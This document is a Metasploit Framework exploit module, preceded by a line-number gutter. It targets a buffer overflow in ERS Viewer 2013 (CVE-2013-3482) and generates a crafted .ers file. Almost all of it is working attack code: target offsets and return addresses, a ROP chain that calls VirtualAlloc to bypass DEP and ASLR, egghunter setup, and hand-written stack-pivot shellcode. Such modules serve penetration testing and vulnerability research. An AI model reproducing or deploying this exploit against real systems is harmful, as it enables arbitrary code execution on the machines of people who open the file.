1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Egghunter def initialize(info={}) super(update_info(info, 'Name' => "ERS Viewer 2013 ERS File Handling Buffer Overflow", 'Description'=> %q{ This module exploits a buffer overflow vulnerability found in ERS Viewer 2013. The vulnerability exists in the module ermapper_u.dll, where the function rf_report_error handles user provided data in a insecure way. It results in arbitrary code execution under the context of the user viewing a specially crafted .ers file. This module has been tested successfully with ERS Viewer 2013 (versions 13.0.0.1151) on Windows XP SP3 and Windows 7 SP1. }, 'License'=> MSF_LICENSE, 'Author' => [ 'James Fitts', # Vulnerability Discovery 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2013-3482' ], [ 'OSVDB', '93650' ], [ 'URL', 'http://secunia.com/advisories/53620/' ] ], 'Payload'=> { 'Space'=> 4000, 'DisableNops' => true, }, 'DefaultOptions'=> { 'ExitFunction' => "process", }, 'Platform' => 'win', 'Targets'=> [ # Tested on Windows XP SP3 [ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR', { 'Offset' => 191, 'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll } ], # Tested on Windows XP SP3 and Windows 7 SP1 [ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass', { 'Offset' => 191, 'Ret' => 0x100E1152, # xchg eax, esp # ret # from ermapper_u.dll 'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll 'VirtualAllocPtr' => 0x1010c0f4 } ] ], 'Privileged' => false, 'DisclosureDate' => "May 23 2013", 'DefaultTarget'=> 1)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.ers']), ], self.class) end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x10082624,# POP EAX # RETN [ermapper_u.dll] 0x1010c0f4,# ptr to &VirtualAlloc() [IAT ermapper_u.dll] 0x1001a9c0,# MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll] 0x1005db36,# XCHG EAX,ESI # RETN [ermapper_u.dll] 0x10105d87,# POP EBX # RETN [ermapper_u.dll] 0xffffffff,# 0x30d059d9,# INC EBX # RETN [ethrlib.dll] 0x30d059d9,# INC EBX # RETN [ethrlib.dll] 0x100e9dd9,# POP EAX # RETN [ermapper_u.dll] 0xa2dbcf75,# put delta into eax (-> put 0x00001000 into edx) 0x1001aa04,# ADD EAX,5D24408B # RETN [ermapper_u.dll] 0x10016a98,# XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll] 0x10086d21,# RETN (ROP NOP) [ermapper_u.dll] 0x1001a148,# & push esp # ret[ermapper_u.dll] 0x10082624,# POP EAX # RETN [ermapper_u.dll] 0xffffffc0,# Value to negate, will become 0x00000040 0x100f687d,# NEG EAX # RETN [ermapper_u.dll] 0x1001e720,# XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll] 0x100288b5,# POP EAX # RETN [ermapper_u.dll] 0x90909090,# nop 0x100e69e0,# PUSHAD # RETN [ermapper_u.dll] ].flatten.pack("V*") return rop_gadgets end # Restore the stack pointer in order to execute the final payload successfully def fix_stack pivot = "\x64\xa1\x18\x00\x00\x00"# mov eax, fs:[0x18] # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end # In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding # the payload on memory we can't jump there directly, but allocate executable memory # and jump there. Badchars: "\x0a\x0d\x00" def hunter_suffix(payload_length) # push flProtect (0x40) suffix = "\xB8\xC0\xFF\xFF\xFF"# mov eax, 0xffffffc0 suffix << "\xF7\xD8" # neg eax suffix << "\x50" # push eax # push flAllocationType (0x3000) suffix << "\x66\x05\xC0\x2F" # add ax, 0x2fc0 suffix << "\x50" # push eax # push dwSize (0x1000) suffix << "\x66\x2D\xFF\x1F" # sub ax, 0x1fff suffix << "\x48" # dec eax suffix << "\x50" # push eax # push lpAddress suffix << "\xB8\x0C\x0C\x0C\x0C" # mov eax, 0x0c0c0c0c suffix << "\x50" # push eax # Call VirtualAlloc suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc # Copy payload (edi) to Allocated memory (eax) suffix << "\x89\xFE" # mov esi, edi suffix << "\x89\xC7" # mov edi, eax suffix << "\x31\xC9" # xor ecx, ecx suffix << "\x66\x81\xC1" + [payload_length].pack("v")# add cx, payload_length suffix << "\xF3\xA4" # rep movsb # Jmp to the final payload (eax) suffix << "\xFF\xE0" # jmp eax return suffix end def exploit #These badchars do not apply to the final payload badchars = [0x0c, 0x0d, 0x0a].pack("C*") eggoptions = { :checksum => true, :eggtag => 'w00t' } my_payload = fix_stack + payload.encoded if target.name =~ /DEP & ASLR bypass/ # The payload length can't include NULL's in order to # build the stub which will copy the final payload to # executable memory while [my_payload.length].pack("v").include?("\x00") my_payload << rand_text(1) end end hunter,egg = generate_egghunter(my_payload, badchars, eggoptions) if target.name =~ /DEP & ASLR bypass/ hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length)) end if target.name =~ /NO DEP/ buf = rand_text_alpha(1) buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret buf << hunter buf << rand_text_alpha(target['Offset'] - buf.length) buf << [target.ret].pack("V") # jmp eax buf << rand_text_alpha(8) buf << egg elsif target.name =~ /DEP & ASLR bypass/ buf = rand_text_alpha(1) buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret buf << create_rop_chain buf << hunter buf << rand_text_alpha(target['Offset'] - buf.length) buf << [target.ret].pack("V") # xchg eax, esp # ret buf << rand_text_alpha(8) buf << egg end ers = %Q| DatasetHeader Begin #{buf} End | file_create(ers) end end |